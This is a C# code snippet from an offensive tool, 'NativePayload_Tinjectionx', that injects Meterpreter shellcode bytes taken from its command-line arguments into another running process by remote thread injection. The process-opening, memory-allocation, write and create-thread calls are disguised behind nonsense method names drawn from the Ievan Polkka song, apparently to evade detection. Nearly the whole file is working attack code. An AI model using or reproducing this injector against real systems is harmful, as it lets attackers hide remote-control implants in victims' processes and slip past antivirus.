Example #1
0
        static void Main(string[] args)
        {
            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.DarkGray;
            Console.WriteLine("NativePayload_Tinjectionx , Published by Damon Mohammadbagher , Jan 2021");
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Injecting Meterpreter Payload bytes to Other Process");
            Console.WriteLine();



            /// step I
            string[] X  = args[1].Split(',');
            int      TP = Convert.ToInt32(args[0]);

            Console.ForegroundColor = ConsoleColor.DarkGreen;
            Console.WriteLine("[!] Injection Started Time {0}", DateTime.Now.ToString());
            Console.WriteLine("[!] Payload Length {0}", X.Length.ToString());
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write("[>] Injecting Meterpreter Payload to ");
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.Write("{0}:{1} ", Process.GetProcessById(TP).ProcessName, Process.GetProcessById(TP).Id.ToString());
            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write("Process");
            Console.ForegroundColor = ConsoleColor.DarkGreen;
            Console.WriteLine();
            Console.WriteLine("[!] Thread Injection Done Time {0}", DateTime.Now.ToString());
            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Bingo X Meterpreter Session by Remote Thread Injection Method  ;)");
            Console.WriteLine();

            byte[] Xpayload = new byte[X.Length];

            for (int i = 0; i < X.Length;)
            {
                Xpayload[i] = Convert.ToByte(X[i], 16);
                i++;
            }

            UInt32 ievan_Polkka = 0;
            IntPtr ievan        = ievan_Polkka.OpenPol(TP);

            IntPtr Polkka = Convert.ToInt32("2021").heypol_heypol_heypol(ievan, Xpayload.Length);

            UIntPtr helypatahelypata = UIntPtr.Zero;

            "ievan.polkka".dilndando_rimbangoda_dinbadloo(ievan, Polkka, Xpayload, helypatahelypata);


            uint   tid_pol = 0;
            IntPtr SpecialThanks_to_IevanPolkka_LOITUMA_Band = IntPtr.Zero;

            SpecialThanks_to_IevanPolkka_LOITUMA_Band.CreateIevanPolkka(ievan, Polkka, tid_pol);

            /// X technique + Ievan_Polkka Song = this code ;)
        }